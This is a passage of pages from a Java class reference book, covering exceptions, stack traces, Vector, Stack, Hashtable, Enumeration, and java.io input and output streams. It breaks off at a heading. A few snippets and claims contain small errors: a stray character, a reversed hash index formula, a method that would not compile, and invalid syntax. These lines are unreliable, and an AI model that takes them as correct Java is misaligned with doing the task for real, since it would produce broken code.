4.2 Declaring Exceptions

If a method is expected to throw any exceptions, the method declaration must declare that fact in a throws clause. If a method implementation contains a throw statement, it is possible that an exception will be thrown from within the method. In addition, if a method calls another method declared with a throws clause, there is the possibility that an exception will be thrown from within the method. If the exception is not caught inside the method with a try statement, it will be thrown out of the method to its caller. Any exception that can be thrown out of a method in this way must be listed in a throws clause in the method declaration. The classes listed in a throws clause must be Throwable or any of its subclasses; the Throwable class is the superclass of all objects that can be thrown in Java.

However, there are certain types of exceptions that do not have to be listed in a throws clause. Specifically, if the exception is an instance of Error, RunTimeException, or a subclass of one of those classes, it does not have to be listed in a throws clause. Subclasses of the Error class correspond to situations that are not easily predicted, such as the system running out of memory. Subclasses of RunTimeException correspond to many common run-time problems, such as illegal casts and array index problems. The reason that these types of exceptions are treated specially is that they can be thrown from such a large number of places that essentially every method would have to declare them.

Consider the following example:

import java.io.IOException;
class throwsExample {
    char[] a;
    int position;
    ...
    // Method explicitly throws an exception
    int read() throws IOException {
        if (position >= a.length)
            throw new IOException();
        return a[position++];
    }
    // Method implicitly throws an exception
    String readUpTo(char terminator) throws IOException {
        StringBuffer s = new StringBuffer();
        while (true) {
            int c = read(); // Can throw IOException
            if (c == -1 || c == terminator) {
                return s.toString();
            }
            s.append((char)c);
        }
        return s.toString();
    }
    // Method catches an exception internally
    int getLength() {
        String s;
        try {
            s = readUpTo(':');
        } catch (IOException e) {
            return 0;
        }
        return s.length();
    }
    // Method can throw a RunTimeException
    int getAvgLength() {
        int count = 0;
        int total = 0;
        int len;
        while (true){
            len = getLength();
            if (len == 0)
                break;
            count++;
            total += len;
        }
        return total/count; // Can throw ArithmeticException
    }
}

The method read() can throw an IOException, so it declares that fact in its throws clause. Without that throws clause, the compiler would complain that the method must either declare IOException in its throws clause or catch it. Although the readUpTo() method does not explicitly throw any exceptions, it calls the read() method that does throw an IOException, so it declares that fact in its throws clause. Whether explicitly or implicitly thrown, the requirement to catch or declare an exception is the same. The getLength() method catches the IOException thrown by readUpTo(), so it does not have to declare the exception. The final method, getAvgLength(), can throw an ArithmeticException if count is zero. Because ArithmeticException is a subclass of RuntimeException, the fact that it can be thrown out of getAvgLength() does not need to be declared in a throws clause.

Previous | Home | Next
Handling Exceptions | Book Index | Generating Exceptions
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 4] 4.3 Generating Exceptions

Java Fundamental Classes Reference

Previous Chapter 4
Exception Handling 		Next

4.3 Generating Exceptions

A Java program can use the exception-handling mechanism to deal with program-specific errors in a clean manner. A program simply uses the throw statement to signal an exception. The throw statement must be followed by an object that is of type Throwable or one of its subclasses. For program-defined exceptions, you typically want an exception object to be an instance of a subclass of the Exception class. In most cases, it makes sense to define a new subclass of Exception that is specific to your program.

Consider the following example:

class WrongDayException extends Exception {
    public WrongDayException () {}
    public WrongDayException(String msg) {
        super(msg);
    }
}
public class ThrowExample {
    void doIt() throws WrongDayException{
        int dayOfWeek =(new java.util.Date()).getDay();
        if (dayOfWeek != 2  && dayOfWeek != 4)
            throw new WrongDayException("Tue. or Thur.");
        // The rest of doIt's logic goes here
        System.out.println("Did it");
    }
    public static void main (String [] argv) {
        try {
            (new ThrowExample()).doIt();
        } catch (WrongDayException e) {
            System.out.println("Sorry, can do it only on "
                                + e.getMessage());
        }
    }
}

The code in this example defines a class called WrongDayException to represent the specific type of exception thrown by the example. The Throwable class, and most subclasses of Throwable, have at least two constructors. One constructor takes a string argument that is used as a textual message that explains the exception, while the other constructor takes no arguments. Thus, the WrongDayException class defines two constructors.

In the class ThrowExample, if the current day of the week is neither Tuesday nor Thursday, the doIt() method throws a WrongDayException. Note that the WrongDayException object is created at the same time it is thrown. It is common practice to provide some information about an exception when it is thrown, so a string argument is used in the allocation statement for the WrongDayException. The method declaration for the doIt() method contains a throws clause, to indicate the fact that it can throw a WrongDayException.

The main() method in ThrowExample encloses its call to the doIt() method in a try statement, so that it can catch any WrongDayException thrown by doIt(). The catch block prints an error message, using the getMessage() method of the exception object. This method retrieves the string that was passed to the constructor when the exception object was created.

Printing Stack Traces

When an exception is caught, it can be useful to print a stack trace to figure out where the exception came from. A stack trace looks like the following:

java.lang.ArithmeticException: / by zero
        at t.cap(t.java:16)
        at t.doit(t.java:8)
        at t.main(t.java:3)

You can print a stack trace by calling the printStackTrace() method that all Throwable objects inherit from the Throwable class. For example:

int cap (x) {return 100/x}
try {
    cap(0);
} catch(ArithmeticException e) {
    e.printStackTrace();
}

You can also print a stack trace anywhere in an application, without actually throwing an exception. For example:

new Throwable().printStackTrace();

Rethrowing Exceptions

After an exception is caught, it can be rethrown if is appropriate. The one choice that you have to make when rethrowing an exception concerns the location from where the stack trace says the object was thrown. You can make the rethrown exception appear to have been thrown from the location of the original exception throw, or from the location of the current rethrow.

To rethrow an exception and have the stack trace indicate the original location, all you have to do is rethrow the exception:

try {
    cap(0);
} catch(ArithmeticException e) {
    throw e;
}

To arrange for the stack trace to show the actual location from which the exception is being rethrown, you have to call the exception's fillInStackTrace() method. This method sets the stack trace information in the exception based on the current execution context. Here's an example using the fillInStackTrace() method:

try {
    cap(0);
} catch(ArithmeticException e) {
    throw (ArithmeticException)e.fillInStackTrace();
}

It is important to call fillInStackTrace() on the same line as the throw statement, so that the line number specified in the stack trace matches the line on which the throw statement appears. The fillInStackTrace() method returns a reference to the Throwable class, so you need to cast the reference to the actual type of the exception.

Previous | Home | Next
Declaring Exceptions | Book Index | Collections
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 5] Collections

Java Fundamental Classes Reference

Previous Chapter 5 Next

5. Collections

Contents:
Enumerations
Vectors
Stacks
Hashtables

Java provides a number of utility classes that help you to manage a collection of objects. These collection classes allow you to work with objects without regard to their types, so they can be extremely useful for managing objects at a high level of abstraction. This chapter describes the following collection classes:

  • The java.util.Vector class, which represents a dynamic array of objects.

  • The java.util.Stack class, which represents a dynamic stack of objects.

  • The java.util.Dictionary class, which is an abstract class that manages a collection of objects by associating a key with each object.

  • The java.util.Hashtable class, which is a subclass of java.util.Dictionary that implements a specific algorithm to associate keys with objects. Given a key, a Hashtable can retrieve the associated object with little or no searching.

  • The java.util.Enumeration interface, which supports sequential access to a set of elements.

5.1 Enumerations

The Enumeration interface is implemented by classes that provide serial access to a set of elements, or objects, in a collection. An object that implements the Enumeration interface provides two methods for dealing with the set: nextElement() and hasMoreElements(). The nextElement() method returns a value of type Object, so it can be used with any kind of collection. When you remove an object from an Enumeration, you may need to cast the object to the appropriate type before using it. You can iterate through the elements in an Enumeration only once; there is no way to reset it to the beginning or move backwards through the elements.

Here is an example that prints the contents of an object the implements the Enumeration interface:

static void printEnumeration(Enumeration e) {
    while (e.hasMoreElements()) {
        System.out.println(e.nextElement());
    }

Note that the above method is able to print all of the objects in the Enumeration without knowing their class types because the println() method handles objects of any type.

A number of classes in the Java API provide a method that returns a reference to an Enumeration object, rather than implementing the Enumeration interface directly. For example, as you'll see shortly, the Vector class provides an elements() method that returns an Enumeration of the objects in a Vector object.

Previous | Home | Next
Generating Exceptions | Book Index | Vectors
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 5] 5.2 Vectors

Java Fundamental Classes Reference

Previous Chapter 5
Collections 		Next

5.2 Vectors

The Vector class implements a variable-length array that can hold any kind of object. Like an array, the elements in a Vector are accessed with an integer index. However, unlike an array, the size of a Vector can grow and shrink as needed to accommodate a changing number of objects. Vector provides methods to add and remove elements, as well as ways to search for objects in a Vector and iterate through all of the objects.

You can create a Vector object using the constructor that takes no arguments.

Vector v = new Vector()

This constructor creates an empty Vector with an initial capacity of 10. The capacity of a Vector specifies how many objects it can contain before more space must be allocated. You can improve the performance of a Vector by setting its initial capacity to a more appropriate value when you create it. For example, if you know that you are going to be storing close to 100 objects in a Vector, you could set the initial capacity as follows:

Vector v = new Vector(100)

It can be time-consuming for a Vector to increase its capacity, so it is better to set the initial capacity based on a rough estimate of the number of objects a Vector will contain than to simply use the default capacity.

The capacity increment of a Vector specifies how much more space is allocated each time the Vector needs to increase its capacity. If you do not specify a capacity increment when you create a Vector, it uses the default value of 0, which causes the Vector to double in size every time it needs to increase its capacity. Doubling in size is a good way for a Vector to become large enough quickly when you have no idea what size it needs to be. However, if you do have a rough idea of the final size of a Vector, specifying a positive capacity increment is less wasteful of memory. For example, if you know that you will be putting 100 or so objects in a Vector, you could create it as follows:

Vector v = new Vector(110, 20)

Once you have created an empty Vector object, you can put object references in it using the addElement() and insertElementAt() methods. The addElement() method adds an element to the end of a Vector. The following code fragment shows the use of the addElement() method:

Vector v = new Vector();
v.addElement("abc");
v.addElement("jkl");
v.addElement("xyz");

The insertElementAt() method inserts a new element into a Vector before a given position, so it can be used to insert an element at any position in a Vector except the last. Like arrays, Vector objects are indexed starting at 0. Here's how to insert an object at the beginning of the Vector object created above:

v.insertElementAt("123", 0);

The size() method returns the number of elements in a Vector object.

After you have added some elements to a Vector object, you can retrieve elements with a number of different methods. For example, the elementAt() method fetches the object at the specified position in the Vector, while the firstElement() and lastElement() methods return the first and last objects in the Vector, respectively. Finally, the elements() method returns an Enumeration object that accesses the elements in the Vector object.

The setElementAt() method allows you to change the object stored at a specified position in the Vector, while the removeElementAt() method removes the object at a specified position from the Vector. The removeElement() method takes an object reference as an argument and removes the first element in the Vector that refers to the given object, if there is such an element. You can also remove all of the elements from the Vector using the removeAllElements() method.

The Vector class also provides some methods for searching the contents of a Vector object. For example, the contains() method returns true if a Vector contains a reference to a specified object. The indexOf() and lastIndexOf() methods return the positions of the first and last elements, respectively, in a Vector that match a specified object.

Previous | Home | Next
Enumerations | Book Index | Stacks
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 5] 5.3 Stacks

Java Fundamental Classes Reference

Previous Chapter 5
Collections 		Next

5.3 Stacks

The Stack class is a subclass of Vector that implements a last-in-first-out (LIFO) object stack. The Stack class uses the following methods to provide stack behavior:

  • The push() method pushes an object onto the top of the stack.

  • The pop() method removes and returns the top element from the stack. If the stack is empty, pop() throws an EmptyStackException.

  • The peek() method returns, but does not remove, the top element from the stack. If the stack is empty, peek() throws an EmptyStackException.

  • The empty() method returns true if and only if the stack is empty.

Previous | Home | Next
Vectors | Book Index | Hashtables
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 5] 5.4 Hashtables

Java Fundamental Classes Reference

Previous Chapter 5
Collections 		Next

5.4 Hashtables

The Dictionary class is an abstract class that defines methods for associating key objects with value objects. Given a key, an instance of Dictionary is able to return its associated value. The Hashtable class is a concrete subclass of Dictionary that uses a data structure called a hashtable and a technique called chained hashing to allow values associated with keys to be fetched with minimal searching. You might use a Hashtable object to associate weather reports with the names of cities and towns, for example.

Before explaining hashtables or chained hashing, consider the problem of finding a key/value pair in an array that contains references to key/value pairs in no particular order. The array might look something like what is shown in Figure 5.1.

Figure 5.1: An array of key/value pairs

[Graphic: Figure 5-1]

Since we cannot make any assumptions about where in the array a key is to be found, the most reasonable search strategy is a linear search that starts at one end of the array and looks at each array element until it finds what it is looking for or reaches the other end of the array. For an array with just a few elements, a linear search is a reasonable strategy, but for an array with hundreds of elements it is not. If we know where in the array to look for a key, however, we can eliminate most of the searching effort. Knowing where to look for a key is the idea behind a hashtable.

With a hashtable, each key object has a relatively unique integer value that is called a hashcode. The Object class defines a hashCode() method, so every object in Java has such a method. The hashcode returned by this method computes an array index for a key object as follows:

array.length % hashCode()

This array index, or hash index, stores the key/value pair in a hashtable array. If there is nothing stored at that index, the key/value pair is placed at that position in the array. However, if there is already a key/value pair at that hash index, the Hashtable stores the key/value pair in a linked list at that position in the array. This strategy for managing multiple keys with the same hash index is called chained hashing. The array for hashtable that uses this strategy might look like Figure 5.2.

Figure 5.2: An array of key/value pairs that uses chained hashing

[Graphic: Figure 5-2]

Now, when we want to fetch a key/value pair, all we have to do is recalculate the hash index for the key object and look at that position in the hashtable array. If the key stored at that hash index is the right key, then we have found what we are looking for by examining only one array element instead of searching. However, if the key is not the right key, all we have to do is search the items in the linked list at that position to find our key/value pair.

You can create a Hashtable object using the constructor that takes no arguments:

Hashtable h = new Hashtable()

This constructor creates an empty Hashtable. There are other constructors that take parameters to allow you to tune the performance of a Hashtable object. The first parameter you can specify is the capacity of the hash table, which is the length of the array used to implement it. The longer the array, the less likely it is that multiple keys will share the same hash index. The default array length is 101. To create a Hashtable object with an array length of 1009, use the following constructor:

Hashtable h = new Hashtable(1009);

The number that you choose for the array length should be a prime number. If it is not, the key/value pairs stored in the array will tend to be less evenly distributed.

The load factor of a hashtable is the ratio of the number of key/value pairs in the hashtable to the array length. A load factor of 0 means that the Hashtable is empty. As the load factor increases, so does the likelihood that multiple key/value pairs will share the same hash index. When the load factor becomes greater than 1, it means that the number of key/value pairs in a hashtable is greater than the array length, so that at least one hash index is being shared by multiple key/value pairs. Clearly, a low load factor is better than a high load factor in terms of performance. You can specify the maximum permissible load factor for a Hashtable object when you create it. For example:

Hashtable h = new Hashtable(1009, .62);

If not specified, the maximum load factor for a Hashtable object is .75. When a key/value pair is added to a Hashtable that would otherwise cause the load factor to exceed the maximum value, the Hashtable performs a rehash. This means that the Hashtable creates a new array with a length one greater than double the length of the old array. It then recomputes the hash index for each key/value pair in the old array and stores each key/value pair in the new array at the new hash index. Obviously, this is an undesirable performance hit, so if you know approximately how many items you will add to a Hashtable, you should create one with an appropriate initial capacity.

After you have created a Hashtable object, you can add new key/value pairs to it, or modify the value in an existing key/value pair, by calling the put() method. The put() method takes two arguments: a reference to a key object and a reference to a value object. It first looks for a key/value pair in the hashtable with the key equal to the specified key. If there is such a key/value pair, the put() method replaces the previous value with the specified value and returns a reference to the previous value object. If, however, there is no such key/value pair, the put() method creates a new key/value pair, adds it to the hashtable and returns null. Here is a fragment of a class that uses a Hashtable to store weather forecasts.

import java.util.Hashtable;
class WeatherForecastDictionary {
    private Hashtable ht = new Hashtable(13291);
    public void putForecast(String locale, WeatherForecast forecast) {
        ht.put(locale, forecast);
    }
...

The get() method returns the value associated with a given key in a Hashtable object. It takes one argument that is a reference to the key it should search for. If the get() method does not find a key/value pair with a key equal to the specified key, it returns null. Here is a method that uses the get() method to retrieve a weather forecast:

public WeatherForecast getForecast(String locale) {
    return (WeatherForecast)ht.get(locale);
}

The various equality tests done by a Hashtable use a given key object's equals() method. Because of the way that an object's hashCode() and equals() methods are used by the Hashtable class, it is important that if you override the definition of either of these methods, you do so in a consistent way. In other words, if two objects are considered equal by the equals() method for the class, then the hashCode() method for each object must return the same hashcode value. If that is not the case, when those objects are used as keys in a Hashtable object, the Hashtable will produce inconsistent results.

Once you have added key/value pairs to a Hashtable, you can use the keys() and elements() methods to get Enumeration objects that iterate through the key and value objects, respectively. The containsKey() method allows you to search the Hashtable for a particular key object, while contains() searches for a particular value object. The Hashtable class also defines a remove() method for removing key/value pairs from a Hashtable.

Previous | Home | Next
Stacks | Book Index | I/O
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 6] I/O

Java Fundamental Classes Reference

Previous Chapter 6 Next

6. I/O

Contents:
Input Streams and Readers
Output Streams and Writers
File Manipulation

The java.io package contains the fundamental classes for performing input and output operations in Java. These I/O classes can be divided into four basic groups:

  • Classes for reading input from a stream.

  • Classes for writing output to a stream.

  • Classes for manipulating files.

  • Classes for serializing objects.

All fundamental I/O in Java is based on streams. A stream represents a flow of data, or a channel of communication. Conceptually, there is a reading process at one end of the stream and a writing process at the other end. Java 1.0 supported only byte streams, which meant that Unicode characters were not always handled correctly. As of Java 1.1, there are classes in java.io for both byte streams and character streams. The character stream classes, which are called readers and writers, handle Unicode characters appropriately.

The rest of this chapter describes the classes in java.io that read from and write to streams, as well as the classes that manipulate files. The classes for serializing objects are described in Chapter 7, Object Serialization.

6.1 Input Streams and Readers

The InputStream class is an abstract class that defines methods to read sequentially from a stream of bytes. Java provides subclasses of the InputStream class for reading from files, StringBuffer objects, and byte arrays, among other things. Other subclasses of InputStream can be chained together to provide additional logic, such as keeping track of the current line number or combining multiple input sources into one logical input stream. It is also easy to define a subclass of InputStream that reads from any other kind of data source.

In Java 1.1, the Reader class is an abstract class that defines methods to read sequentially from a stream of characters. Many of the byte-oriented InputStream subclasses have character-based Reader counterparts. Thus, there are subclasses of Reader for reading from files, character arrays, and String objects.

InputStream

The InputStream class is the abstract superclass of all other byte input stream classes. It defines three read() methods for reading from a raw stream of bytes:

read()
read(byte[] b)
read(byte[] b, int off, int len)

If there is no data available to read, these methods block until input is available. The class also defines an available() method that returns the number of bytes that can be read without blocking and a skip() method that skips ahead a specified number of bytes. The InputStream class defines a mechanism for marking a position in the stream and returning to it later, via the mark() and reset() methods. The markSupported() method returns true in subclasses that support these methods.

Because the InputStream class is abstract, you cannot create a "pure" InputStream. However, the various subclasses of InputStream can be used interchangeably. For example, methods often take an InputStream as a parameter. Such a method accepts any subclass of InputStream as an argument.

InputStream is designed so that read(byte[]) and read(byte[], int, int) both call read(). Thus, when you subclass InputStream, you only need to define the read() method. However, for efficiency's sake, you should also override read(byte[], int, int) with a method that can read a block of data more efficiently than reading each byte separately.

Reader

The Reader class is the abstract superclass of all other character input stream classes. It defines nearly the same methods as InputStream, except that the read() methods deal with characters instead of bytes:

read()
read(char[] cbuf)
read(char[] cbuf, int off, int len)

The available() method of InputStream has been replaced by the ready() method of Reader, which simply returns a flag that indicates whether or not the stream must block to read the next character.

Reader is designed so that read() and read(char[]) both call read(char[], int, int). Thus, when you subclass Reader, you only need to define the read(char[], int, int) method. Note that this design is different from, and more efficient than, that of InputStream.

InputStreamReader

The InputStreamReader class serves as a bridge between InputStream objects and Reader objects. Although an InputStreamReader acts like a character stream, it gets its input from an underlying byte stream and uses a character encoding scheme to translate bytes into characters. When you create an InputStreamReader, specify the underlying InputStream and, optionally, the name of an encoding scheme. For example, the following code fragment creates an InputStreamReader that reads characters from a file that is encoded using the ISO 8859-5 encoding:

String fileName = "encodedfile.txt"; String encodingName = "8859_5";
InputStreamReader in;
try {
   x FileInputStream fileIn = new FileInputStream(fileName);
    in = new InputStreamReader(fileIn, encodingName);
} catch (UnsupportedEncodingException e1) {
    System.out.println(encodingName + " is not a supported encoding scheme.");
} catch (IOException e2) {
    System.out.println("The file " + fileName + " could not be opened.");
}

FileInputStream and FileReader

The FileInputStream class is a subclass of InputStream that allows a stream of bytes to be read from a file. The FileInputStream class has no explicit open method. Instead, the file is implicitly opened, if appropriate, when the FileInputStream is created. There are three ways to create a FileInputStream:

  • You can create a FileInputStream by passing the name of a file to be read:

    FileInputStream f1 = new FileInputStream("foo.txt");

  • You can create a FileInputStream with a File object:

    File f = new File("foo.txt");
FileInputStream f2 = new FileInputStream(f);

  • You can create a FileInputStream with a FileDescriptor object. A FileDescriptor object encapsulates the native operating system's representation of an open file. You can get a FileDescriptor from a RandomAccessFile by calling its getFD() method. You create a FileInputStream that reads from the open file associated with a RandomAccessFile as follows:

    RandomAccessFile raf;
raf = new RandomAccessFile("z.txt","r");
FileInputStream f3 = new FileInputStream(raf.getFD());

    The FileReader class is a subclass of Reader that reads a stream of characters from a file. The bytes in the file are converted to characters using the default character encoding scheme. If you do not want to use the default encoding scheme, you need to wrap an InputStreamReader around a FileInputStream, as shown above. You can create a FileReader from a filename, a File object, or a FileDescriptor object, as described above for FileInputStream.

StringReader and StringBufferInputStream

The StringReader class is a subclass of Reader that gets its input from a String object. The StringReader class supports mark-and-reset functionality via the mark() and reset() methods. The following example shows the use of StringReader:

StringReader sr = new StringReader("abcdefg");
try {
    char[] buffer = new char[3];
    sr.read(buffer);
    System.out.println(buffer);
} catch (IOException e) {
    System.out.println("There was an error while reading.");
}

This code fragment produces the following output:

abc

The StringBufferInputStream class is the byte-based relative of StringReader. The entire class is deprecated as of Java 1.1 because it does not properly convert the characters of the string to a byte stream; it simply chops off the high eight bits of each character. Although the markSupported() method of StringBufferInputStream returns false, the reset() method causes the next read operation to read from the beginning of the String.

CharArrayReader and ByteArrayInputStream

The CharArrayReader class is a subclass of Reader that reads a stream of characters from an array of characters. The CharArrayReader class supports mark-and-reset functionality via the mark() and reset() methods. You can create a CharArrayReader by passing a reference to a char array to a constructor like this:

char[] c;
...
CharArrayReader r;
r = new CharArrayReader(c);

You can also create a CharArrayReader that only reads from part of an array of characters by passing an offset and a length to the constructor. For example, to create a CharArrayReader that reads elements 5 through 24 of a char array you would write:

r = new CharArrayReader(c, 5, 20);

The ByteArrayInputStream class is just like CharArrayReader, except that it deals with bytes instead of characters. In Java 1.0, ByteArrayInputStream did not fully support mark() and reset(); in Java 1.1 these methods are completely supported.

PipedInputStream and PipedReader

The PipedInputStream class is a subclass of InputStream that facilitates communication between threads. Because it reads bytes written by a connected PipedOutputStream, a PipedInputStream must be connected to a PipedOutputStream to be useful. There are a few ways to connect a PipedInputStream to a PipedOutputStream. You can first create the PipedOutputStream and pass it to the PipedInputStream constructor like this:

PipedOutputStream po = new PipedOutputStream();
PipedInputStream pi = new PipedInputStream(po);

You can also create the PipedInputStream first and pass it to the PipedOutputStream constructor like this:

PipedInputStream pi = new PipedInputStream();
PipedOutputStream po = new PipedOutputStream(pi);

The PipedInputStream and PipedOutputStream classes each have a connect() method you can use to explicitly connect a PipedInputStream and a PipedOutputStream as follows:

PipedInputStream pi = new PipedInputStream();
PipedOutputStream po = new PipedOutputStream();
pi.connect(po);

Or you can use connect() as follows:

PipedInputStream pi = new PipedInputStream();
PipedOutputStream po = new PipedOutputStream();
po.connect(pi);

Multiple PipedOutputStream objects can be connected to a single PipedInputStream at one time, but the results are unpredictable. If you connect a PipedOutputStream to an already connected PipedInputStream, any unread bytes from the previously connected PipedOutputStream are lost. Once the two PipedOutputStream objects are connected, the PipedInputStream reads bytes written by either PipedOutputStream in the order that it receives them. The scheduling of different threads may vary from one execution of the program to the next, so the order in which the PipedInputStream receives bytes from multiple PipedOutputStream objects can be inconsistent.

The PipedReader class is the character-based equivalent of PipedInputStream. It works in the same way, except that a PipedReader is connected to a PipedWriter to complete the pipe, using either the appropriate constructor or the connect() method.

FilterInputStream and FilterReader

The FilterInputStream class is a wrapper class for InputStream objects. Conceptually, an object that belongs to a subclass of FilterInputStream is wrapped around another InputStream object. The constructor for this class requires an InputStream. The constructor sets the object's in instance variable to reference the specified InputStream, so from that point on, the FilterInputStream is associated with the given InputStream. All of the methods in FilterInputStream work by calling the corresponding methods in the underlying InputStream. Because the close() method of a FilterInputStream calls the close() method of the InputStream that it wraps, you do not need to explicitly close the underlying InputStream.

A FilterInputStream does not add any functionality to the object that it wraps, so by itself it is not very useful. However, subclasses of the FilterInputStream class do add functionality to the objects that they wrap in two ways:

  • Some subclasses add logic to the InputStream methods. For example, the InflaterInputStream class in the java.util.zip package decompresses data automatically in the read() methods.

  • Some subclasses add new methods. An example is DataInputStream, which provides methods for reading primitive Java data types from the stream.

The FilterReader class is the character-based equivalent of FilterInputStream. A FilterReader is wrapped around an underlying Reader object; the methods of FilterReader call the corresponding methods of the underlying Reader. However, unlike FilterInputStream, FilterReader is an abstract class, so you cannot instantiate it directly.

DataInputStream

The DataInputStream class is a subclass of FilterInputStream that provides methods for reading a variety of data types. The DataInputStream class implements the DataInput interface, so it defines methods for reading all of the primitive Java data types.

You create a DataInputStream by passing a reference to an underlying InputStream to the constructor. Here is an example that creates a DataInputStream and uses it to read an int that represents the length of an array and then to read the array of long values:

long[] readLongArray(InputStream in) throws IOException {
    DataInputStream din = new DataInputStream(in);
    int count = din.readInt();
    long[] a = new long[count];
    for (int i = 0; i < count; i++) {
        a[i] = din.readLong();
    }
    return a;
}

BufferedReader and BufferedInputStream

The BufferedReader class is a subclass of Reader that buffers input from an underlying Reader. A BufferedReader object reads enough characters from its underlying Reader to fill a relatively large buffer, and then it satisfies read operations by supplying characters that are already in the buffer. If most read operations read just a few characters, using a BufferedReader can improve performance because it reduces the number of read operations that the program asks the operating system to perform. There is generally a measurable overhead associated with each call to the operating system, so reducing the number of calls into the operating system improves performance. The BufferedReader class supports mark-and-reset functionality via the mark() and reset() methods.

Here is an example that shows how to create a BufferedReader to improve the efficiency of reading from a file:

try {
    FileReader fileIn = new FileReader("data.dat");
    BufferedReader in = new BufferedReader(fileIn);
    // read from the file
} catch (IOException e) {
    System.out.println(e);
}

The BufferedInputStream class is the byte-based counterpart of BufferedReader. It works in the same way as BufferedReader, except that it buffers input from an underlying InputStream.

LineNumberReader and LineNumberInputStream

The LineNumberReader class is a subclass of BufferedReader. Its read() methods contain additional logic to count end-of-line characters and thereby maintain a line number. Since different platforms use different characters to represent the end of a line, LineNumberReader takes a flexible approach and recognizes "\n", "\r", or "\r\n" as the end of a line. Regardless of the end-of-line character it reads, LineNumberReader returns only "\n" from its read() methods.

You can create a LineNumberReader by passing its constructor a Reader. The following example prints out the first five lines of a file, with each line prefixed by its number. If you try this example, you'll see that the line numbers begin at 0 by default:

try {
    FileReader fileIn = new FileReader("text.txt");
    LineNumberReader in = new LineNumberReader(fileIn);
    for (int i = 0; i < 5; i++)
        System.out.println(in.getLineNumber() + " " + in.readLine());
}catch (IOException e) {
    System.out.println(e);
}

The LineNumberReader class has two methods pertaining to line numbers. The getLineNumber() method returns the current line number. If you want to change the current line number of a LineNumberReader, use setLineNumber(). This method does not affect the stream position; it merely sets the value of the line number.

The LineNumberInputStream is the byte-based equivalent of LineNumberReader. The entire class is deprecated in Java 1.1 because it does not convert bytes to characters properly. Apart from the conversion problem, LineNumberInputStream works the same as LineNumberReader, except that it takes its input from an InputStream instead of a Reader.

SequenceInputStream

The SequenceInputStream class is used to sequence together multiple InputStream objects. Consider this example:

FileInputStream f1 = new FileInputStream("data1.dat");
FileInputStream f2 = new FileInputStream("data2.dat");
SequenceInputStream s = new SequenceInputStream(f1, f2);

This example creates a SequenceInputStream that reads all of the bytes from f1 and then reads all of the bytes from f2 before reporting that it has encountered the end of the stream. You can also cascade SequenceInputStream object themselves, to allow more than two input streams to be read as if they were one. You would write it like this:

FileInputStream f3 = new FileInputStream("data3.dat");
SequenceInputStream s2 = new SequenceInputStream(s, f3);

The SequenceInputStream class has one other constructor that may be more appropriate for wrapping more than two InputStream objects together. It takes an Enumeration of InputStream objects as its argument. The following example shows how to create a SequenceInputStream in this manner:

Vector v = new Vector();
v.add(new FileInputStream("data1.dat"));
v.add(new FileInputStream("data2.dat"));
v.add(new FileInputStream("data3.dat"));
Enumeration e = v.elements();
SequenceInputStream s = new SequenceInputStream(e);

PushbackInputStream and PushbackReader

The PushbackInputStream class is a FilterInputStream that allows data to be pushed back into the input stream and reread by the next read operation. This functionality is useful for implementing things like parsers that need to read data and then return it to the input stream. The Java 1.0 version of PushbackInputStream supported only a one-byte pushback buffer; in Java 1.1 this class has been enhanced to support a larger pushback buffer.

To create a PushbackInputStream, pass an InputStream to its constructor like this:

FileInputStream ef = new FileInputStream("expr.txt");
PushbackInputStream pb = new PushbackInputStream(ef);

This constructor creates a PushbackInputStream that uses a default one-byte pushback buffer. When you have data that you want to push back into the input stream to be read by the next read operation, you pass the data to one of the unread() methods.

The PushbackReader class is the character-based equivalent of PushbackInputStream. In the following example, we create a PushbackReader with a pushback buffer of 48 characters:

FileReader fileIn = new FileReader("expr.txt");
PushbackReader in = new PushbackReader(fileIn, 48);

Here is an example that shows the use of a PushbackReader:

public String readDigits(PushbackReader pb) {
    char c;
    StringBuffer buffer = new StringBuffer();
    try {
        while (true) {
            c = (char)pb.read();
            if (!Character.isDigit(c))
                break;
            buffer.append(c);
        }
        if (c != -1)
            pb.unread(c);
    }catch (IOException e) {}
    return buffer.toString();
}

The above example shows a method that reads characters corresponding to digits from a PushbackReader. When it reads a character that is not a digit, it calls the unread() method so that the nondigit can be read by the next read operation. It then returns a string that contains the digits that were read.

Previous | Home | Next
Hashtables | Book Index | Output Streams and Writers
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 6] 6.2 Output Streams and Writers

Java Fundamental Classes Reference

Previous Chapter 6
I/O 		Next

6.2 Output Streams and Writers

The OutputStream class is an abstract class that defines methods to write a stream of bytes sequentially. Java provides subclasses of the OutputStream class for writing to files and byte arrays, among other things. Other subclasses of OutputStream can be chained together to provide additional logic, such as writing multibyte data types or converting data to a string representation. It is also easy to define a subclass of OutputStream that writes to another kind of destination.

In Java 1.1, the Writer class is an abstract class that defines methods to write to a stream of characters sequentially. Many of the byte-oriented subclasses of OutputStream have counterparts in the character-oriented world of Writer objects. Thus, there are subclasses of Writer for writing to files and character arrays.

OutputStream

The OutputStream class is the abstract superclass of all other byte output stream classes. It defines three write() methods for writing to a raw stream of bytes:

write(int b)
write(byte[] b)
write(byte[] b, int off, int len)

Some OutputStream subclasses may implement buffering to increase efficiency. OutputStream provides a method, flush(), that tells the OutputStream to write any buffered output to the underlying device, which may be a disk drive or a network.

Because the OutputStream class is abstract, you cannot create a "pure" OutputStream. However, the various subclasses of OutputStream can be used interchangeably. For example, methods often take OutputStream parameters. This means that such a method accepts any subclass of OutputStream as an argument.

OutputStream is designed so that write(byte[]) and write(byte[], int, int) call write(int). Thus, when you subclass OutputStream, you only need to define the write() method. However, for efficiency's sake, you should also override write(byte[], int, int) with a method that can write a block of data more efficiently than writing each byte separately.

Writer

The Writer class is the abstract parent class of all other character output stream classes. It defines nearly the same methods as OutputStream, except that the write() methods deal with characters instead of bytes:

write(int c)
write(char[] cbuf)
write(char[] cbuf, int off, int len)
write(String str)
write(String str, int off, int len)

Writer also includes a flush() method that forces any buffered data to be written to the stream.

Writer is designed so that write(int) and write(char[]) both call write(char[], int, int). Thus, when you subclass Writer, you only need to define the write(char[], int, int) method. Note that this design is different from, and more efficient than, that of OutputStream.

OutputStreamWriter

